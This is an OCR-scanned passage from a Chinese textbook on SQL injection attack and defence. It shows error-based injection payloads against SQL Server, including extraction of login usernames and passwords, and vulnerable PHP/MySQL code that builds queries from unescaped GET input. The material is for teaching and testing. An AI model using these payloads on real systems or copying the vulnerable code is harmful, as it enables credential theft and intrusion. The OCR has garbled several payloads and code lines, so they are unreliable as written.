第2章SQL注入测试31 SQL语句中不加引号)时返回的典型错误。 假设在victim.com应用中找到了一个名为showproducts..php的页面,页面脚本接收名为id 的参数并根据id参数的值显示单个商品: http://www.victim.com/showproducts.php?id=2 如果将id参数的值修改成下列内容: http://www.victim.com/showproducts.php?id=attacker 应用会返回一个类似于下列内容的错误: Server Error in '/Application. Invalid column name 'attacker'. Description:An unhandled exception occurred during the execution of the current web request.Please review the stack trace for more information about the error and where it originated in the code. Exception Details:System.Data.SqlCLient.SqlException:Invalid column name 'attacker'. 在这个错误的基础上,可以猜想第一个示例中应用创建的$QL语句应如下所示: SELECT* FROM products WHERE idproduct=2 上述语句返回的结果集是idproduct字段等于2时的商品。如果注入一个非数字值,比如 attacker,那么最终发送给数据库服务器的SQL语句将如下所示: SELECT FROM products WHERE idproduct=attacker SQL Server知道,如果该值不是一个数字,那么它肯定是个列名。本例中服务器在products 表中寻找名为attacker的列。因为不存在该列,所以服务器返回一个错误。 可以使用一些技术来检索嵌入在数据库返回错误中的信息。第一种技术是通过将字符串转 换为整数来产生错误: http://www.victim.com/showproducts.php?category=bikes'and 1=0/@@version;-- 应用响应: Server Error in '/Application. Syntax error converting the nvarchar value 'Microsoft SQL Server 2000- 8.00.760(Intel x86)Dec 17 2002 14:22:05 Copyright (c)1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790:)'to a column of data type int. Description:An unhandled exception occurred during the execution of the current web request.Please review the stack trace for more information about the error and where it originated in the code
32SQL注入攻击与防御 数据库报告了一个错误,它将@@version的结果转换成一个整数并显示了其内容。该技术 滥用了SQL Server中的类型转换功能。我们发送O/@@version作为部分注入代码。除法运算 需要两个数字作为操作数,所以数据库尝试将@@version函数的结果转换成一个数字。当该操 作失败时,数据库会显示出变量的内容。 可以使用该技术显示数据库中的任何变量。下面的例子使用该技术显示usr变量的值: http://www.victim.com/showproducts.php?category-bikes'and 1=0/user;-- 应用响应: Syntax error converting the nvarchar value 'dbo'to a column of data type int. Description:An unhandled exception occurred during the execution of the current web request.Please review the stack trace for more information abort the error and where it originated in the code. 还有一些技术可用于显示数据库执行的语句的信息,比如使用having 1-=1: http://www.victim.com/showproducts.php?category-bikes'having 1'='1 应用响应: Server Error in '/Application. Column 'products.productid'is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Description:An unhandled exception occurred during the execution of the current web request.Please review the stack trace for more information about the error and where it originated in the code. 这里将HAVING子句与GROUP BY子句结合使用,也可以在SELECT语句中使用HAVING 子句过滤GROUP BY返回的记录。GROUP BY要求SELECT语句选择的字段是某个聚合函数 的结果或者包含在GROUP BY子句中。如果该条件不满足,那么数据库会返回一个错误,显 示出现该问题的第~一列。 可以使用该技术和GROUP BY来枚举SELECT语句中的所有列: http://www.victim.com/showproducts.php?category-bikes'GROUP BY productid having 1'1 应用响应: Server Error in '/Application. Column 'products.name'is invalid in the select list because it is not contained in either an aggergate function or the GROUP BY clause. Description:An unhandled exception occurred during the execution of the current web request.please review the stack trace for more information about the error and where it originated in the code. 在上述例子中,我们包含了之前在GROUP BY子句中发现的productid列。数据库错误披 露了接下来的name列。只需继续增加发现的列即可枚举所有列:
第2章SQL注入测试33 http://www.victim.com/showproducts.php?category=bikes'GROUP BY productid,name having '1'-'1 应用响应: Server Error in 'Application. Column 'products.price'is invalid in the select list because it is not contained in either an aggergate function or the GROUP BY clause. Description:An unhandled exception occurred during the execution of the current web request.please review the stack trace for more information about the error and where it originated in the code. 枚举出所有列名后,可以使用前面介绍的类型转换错误技术来检索列对应的值: http://www.victim.com/showproducts.php?category=bikes'and 1=0/name;-- 应用响应: Server Error in '/Application. Syntax error converting the nvarchar value 'claud Butler olympus D2'to a column of data type int. Description:An unhandled exception occurred during the execution of the current web request.Please review the stack trace for more information about the error and where it originated in the code. 提示: 如果攻击者瞄准那些使用SQL Server数据库的应用,那么,错误消息中的信息披露就会非 常有用。如果在身份验证机制中发现了这种信息披露,则可尝试使用刚才介绍的HAVING和 GROUP BY技术枚举用户名列和口令列的名称(很可能为user和password): http://www.victim.com/logon.aspx?username-test'having 1'-'1 http://www.victim.com/logon.aspx?username=test' GROUP BY User having '1'-'1 发现列名后,可披露第一个账户的认证信息,该账户可能拥有管理员权限: http://www.victim.com/logon.aspx?username=test'and 1=0/User and 1'='1 http://www.victim.com/logon.aspx?username-text'and 1-0/Password and 1'='1 还可以将已发现的用户名添加到一个否定条件中,这样便可以将其从结果集中排除,从而 发现其他账户, http://www.victim.com/logon.aspx?username=test'and User not in ('Admin') and 1-0/User and 1'-'1 可以使用web.config文件配置ASP.NET应用中的错误显示。该文件用于定义ASP.NET应 用的设置和配置。它是一个XL文档,其中包含了有关已加载模块、安全配置、编译设置的 信息以及其他的类似数据。customErrors指令定义如何将错误返回给Web浏览器。默认情况下, customErrors为“On”,该特性可防止应用服务器向远程访问者显示详细的错误信息。可使用 下列代码彻底禁用该特性,但不建议在产品环境下执行该操作:
34SQL注入攻击与防御 <configuration> <system.web> <customErrors mode="Off"/> </system.web> </configuration> 还可以根据呈现页面时产生的HTTP错误代码来显示不同的页面: <configuration> <system.web> <customErrors defaultRedirect="Error.aspx"mode"On"/> <error statuscode-"403"redirect-"AccessDenied.aspx"> <error statusCode="404"redirect="NotFound.aspx"> <error statuscode="500"redirect="InternalError.aspx"> </customErrors> </system.web> </configuration> 在上述例子中,应用默认会将用户重定向到Error.aspx页面。但在三种情况下一HTTP 代码403、404和500,用户会被重定向到其他页面。 2)MySQL错误 下面介绍一些典型的MySQL错误。所有主流服务器端脚本语言均能访问MySQL数据库。 MySQL可以在很多架构和操作系统下执行,常见的配置是在装有Linux操作系统的Apache Wb服务器上运行PHP,但它也可以出现在很多其他的场合中。 下列错误通常表明存在MySQL注入漏洞: Warning:mysql_fetch_array():supplied argument is not a valid MySQL result resource in /var/www/victim.com/showproducts.php on line 8 本例中,攻击者在GET参数中注入了一个单引号,PHP页面将SQL语句发送给了数据库。 下列PHP代码段展示了该漏洞: <?php //Connect to the database mysql_connect ("[database]","[user]","[password]")or //Error checking in case the database is not accessible die("Could not connect:"mysql_error()); //Select the database mysql_select_db("[database_name]"); //We retrieve category value from the GET request Scategory -$_GET["category"]: //Create and execute the SOL statement Sresult mysql_query ("SELECT from products where category='Scategory'");
第2章SQL注入测试35 //Loop on the results While (Srow mysql_fetch_array(Sresult.MYSQL NUM)){ printf ("ID:&s Name:&s",Srow[0],Srow[1]); //Free result set mysql_free_result (Sresult); 2> 这段代码表明,从GET变量检索到的值未经审查就在SQL语句中使用了。如果攻击者使 用单引号注入一个值,那么最终的语句将变为: SELECT* FROM products WHERE category='attacker'' 上述SQL语句将执行失败且mysql_query函数不会返回任何值。所以,Sresult变量不再是 有效的MySQL结果源。在下列代码行中,mysql_fetch array(Sresult,MYSQL_NUM)函数将执 行失败且PHP会显示一条警告信息,该信息告诉攻击者SQL语句无法执行。 在上面的例子中,应用不会泄露与SQL错误有关的细节,所以攻击者需要花点精力来确 定利用漏洞的正确方法。“2.6.2确认$QL注入”一节会介绍用于这种场合的技术。 PHP包含一个名为ysql_error的内置函数。在执行SQL语句的过程中,该函数可以提供 与从MySQL数据库返回的错误相关的信息。例如,下列PHP代码会显示在执行SQL查询的 过程中引发的错误: <?php //Connect to the database mysql_connect ("[database]","[user]","[password]")or //Error checking in case the database is not accessible die("Could not connect:"mysql_error()); //Select the database mysql_select_db("[database_name]"); //We retrieve category value from the GET request Scategory =$_GET["category"]; //Create and execute the SQL statement Sresult mysql_query("SELECT from products where category-'Scategory'"); if(!Sresult){//If there is any error //Error checking and display die('<p>Error:'mysql_error().'</p>'); else